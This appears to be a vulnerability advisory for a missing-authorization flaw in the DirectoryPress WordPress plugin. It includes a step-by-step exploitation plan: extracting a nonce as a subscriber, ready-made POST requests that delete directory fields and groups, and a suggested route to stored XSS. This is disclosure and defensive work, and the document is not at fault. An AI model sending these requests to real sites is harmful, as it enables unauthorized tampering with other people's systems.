DirectoryPress – Business Directory And Classified Ad Listing <= 3.6.26 - Missing Authorization
Description
The DirectoryPress – Business Directory And Classified Ad Listing plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.6.26. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.6.26What Changed in the Fix
Changes introduced in v3.6.27
Source Code
WordPress.org SVN## Vulnerability Summary The **DirectoryPress – Business Directory And Classified Ad Listing** plugin (versions <= 3.6.26) contains a missing authorization vulnerability within its AJAX handlers responsible for managing listing fields and field groups. Specifically, several functions intended for ad…
Show full research plan
Vulnerability Summary
The DirectoryPress – Business Directory And Classified Ad Listing plugin (versions <= 3.6.26) contains a missing authorization vulnerability within its AJAX handlers responsible for managing listing fields and field groups. Specifically, several functions intended for administrative use are registered via wp_ajax_ without accompanying capability checks (e.g., current_user_can('manage_options')). This allows any authenticated user, including those with Subscriber privileges, to create, modify, or delete directory fields and groups, compromising the integrity of the directory structure.
Attack Vector Analysis
- Endpoints: WordPress AJAX endpoint
/wp-admin/admin-ajax.php. - Vulnerable Actions:
directorypress_fields_delete_callback(Deletes listing fields)directorypress_fields_group_delete_callback(Deletes field groups)directorypress_fields_edit_callback(Modifies field configuration)directorypress_fields_options_callback(Modifies field options)
- Required Authentication: Authenticated user (Subscriber level or higher).
- Payload Parameters:
action: The AJAX action name.id: The database ID of the field or group to manipulate.nonce: A valid WordPress nonce assigned todirectorypress_js_instance.nonce.
- Preconditions: The plugin must be active. A Subscriber account is required to obtain the valid nonce and execute the requests.
Code Flow
- The plugin registers AJAX actions in the backend (likely in
includes/class-directorypress-admin.phpor similar, inferred from the directory structure). - The JavaScript file
admin/assets/js/directorypress-admin.jshandles the UI interactions for these actions. - When a user clicks a management link (e.g.,
.directorypress-field-action-linkwithdata-action="field_delete"), the JS identifies the callback:directorypress_fields_delete_callback. - The JS sends a POST request to
admin-ajax.phpcontaining theaction,id, and the nonce from thedirectorypress_js_instanceobject. - The PHP handler (e.g.,
directorypress_fields_delete_callback()) validates the nonce but fails to check if the current user has administrative permissions (manage_options). - The handler proceeds to perform database operations (e.g.,
$wpdb->delete) based on the providedid.
Nonce Acquisition Strategy
The nonce is localized in the WordPress admin area for logged-in users. Even Subscribers have access to wp-admin/profile.php, where the plugin's admin scripts and localized data are enqueued.
- Identify Localization: The script
admin/assets/js/directorypress-admin.jsrelies on a global JS object nameddirectorypress_js_instance. - Access Admin Area: Log in as a Subscriber and navigate to
/wp-admin/profile.php. - Extract Nonce: Use the browser to read the nonce value from the localized object.
- JS Variable:
window.directorypress_js_instance - Key:
nonce - Tool Command:
browser_eval("window.directorypress_js_instance?.nonce")
- JS Variable:
Exploitation Strategy
This plan focuses on deleting a core directory field (e.g., the "Address" field) to demonstrate unauthorized modification.
1. Preparation
- Log in to the WordPress instance as a Subscriber.
- Navigate to
/wp-admin/profile.php. - Execute
browser_eval("window.directorypress_js_instance.nonce")to retrieve the nonce.
2. Unauthorized Deletion
- Action:
directorypress_fields_delete_callback - Target: Field ID
2(The default ID for the "Address" field, created inadmin/db/install-db.php). - Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=directorypress_fields_delete_callback&id=2&nonce=[EXTRACTED_NONCE]
3. Unauthorized Group Deletion (Alternative)
- Action:
directorypress_fields_group_delete_callback - Target: Group ID
1(The default ID for "Contact Information"). - Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=directorypress_fields_group_delete_callback&id=1&nonce=[EXTRACTED_NONCE]
Test Data Setup
- Plugin Installation: Ensure DirectoryPress is installed and activated.
- Core Data: The plugin automatically populates the
directorypress_fieldstable upon activation viadirectorypress_install_directory()inadmin/db/install-db.php.- Field ID 1: Exerpt
- Field ID 2: Address
- Field ID 3: Description
- User Creation: Create a user with the
subscriberrole.wp user create attacker attacker@example.com --role=subscriber --user_pass=password
Expected Results
- Response: The server should return a success message (likely containing the string "Deleted" as per the JS logic
after_ajax_text = 'Deleted'). - Database Impact: The record with
id=2should be removed from the{prefix}directorypress_fieldstable. - UI Impact: The "Address" field will disappear from listing submission forms and existing listings.
Verification Steps
After performing the exploit via HTTP, use WP-CLI to verify the change:
- Check Fields Table:
wp db query "SELECT * FROM wp_directorypress_fields WHERE id = 2;"- Success Criterion: The query returns no results.
- Check Field Groups:
wp db query "SELECT * FROM wp_directorypress_fields_groups WHERE id = 1;"- Success Criterion: If the group deletion was targeted, this should return no results.
Alternative Approaches
If simple deletion fails or if the id is different in the target environment:
- Enumerate Fields: Use
directorypress_fields_edit_formto fetch details of fields to find valid IDs.action=directorypress_fields_edit_form&id=1&nonce=[NONCE]
- Create Malicious Field: Use
directorypress_fields_create_new_callbackto inject custom fields.- Required parameters (inferred from
install-db.phpcolumns):name,type,slug. - This could lead to Stored XSS if the field
nameordescriptionis not sanitized upon display.
- Required parameters (inferred from
Summary
The DirectoryPress plugin for WordPress is vulnerable to unauthorized data modification in versions up to 3.6.26 due to missing capability checks on several AJAX handlers. This allow authenticated attackers, including those with subscriber-level permissions, to perform administrative actions such as deleting or modifying directory fields and groups.
Vulnerable Code
// admin/assets/js/directorypress-admin.js // Lines 154-159: JavaScript triggers for administrative AJAX actions that lack backend authorization checks. }else if(action == 'field_delete'){ jQuery('.offcanvas-footer .field_callback_link').removeClass('btn-success').addClass('btn-danger').text('Delete'); jQuery('.offcanvas-footer .field_callback_link').removeClass('btn-primary').addClass('btn-danger'); callback = 'directorypress_fields_delete_callback'; after_ajax_text = 'Deleted'; }else if(action == 'field_options'){ // ... (truncated) callback = 'directorypress_fields_options_callback'; after_ajax_text = 'Updated'; }
Security Fix
@@ -259,6 +259,7 @@ url: directorypress_js_instance.ajaxurl, data: { 'action': 'directorypress_fields_group_list'}, dataType: "html", + cache: false, success: function (response) { jQuery('#fields_group .fields_group_list_wrapper').find(loader_wrapper).remove(); jQuery('#fields_group .fields_group_list_wrapper').html(response); @@ -292,7 +293,7 @@ jQuery.ajax({ type: "POST", url: directorypress_js_instance.ajaxurl, - data: Form + '&action=directorypress_save_category_fields_ajax', + data: Form + '&action=directorypress_save_category_fields_ajax&nonce='+directorypress_js_instance.nonce, dataType: "json", success: function (response) { jQuery('#directorypress_terms_configure .modal-body').find(loader_wrapper).remove();
Exploit Outline
The exploit targets the AJAX interface of the plugin. An attacker must follow these steps: 1. Authenticate to the WordPress site with at least Subscriber-level privileges. 2. Access the admin dashboard (e.g., /wp-admin/profile.php) to retrieve the 'nonce' value from the localized 'directorypress_js_instance' JavaScript object. 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to a vulnerable callback (such as 'directorypress_fields_delete_callback'), the target 'id' of the field or group to modify/delete, and the extracted 'nonce' retrieved in step 2. Because the server-side handler for these actions lacks a capability check (e.g., current_user_can('manage_options')), the operation is successfully executed regardless of the user's role.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.